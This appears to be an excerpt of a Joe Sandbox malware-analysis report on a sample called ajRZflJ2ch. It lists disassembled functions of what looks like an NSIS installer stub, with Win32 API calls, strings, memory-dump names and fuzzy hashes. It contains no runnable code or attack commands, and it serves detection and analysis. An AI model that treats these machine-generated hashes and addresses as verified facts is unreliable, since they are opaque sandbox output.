DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
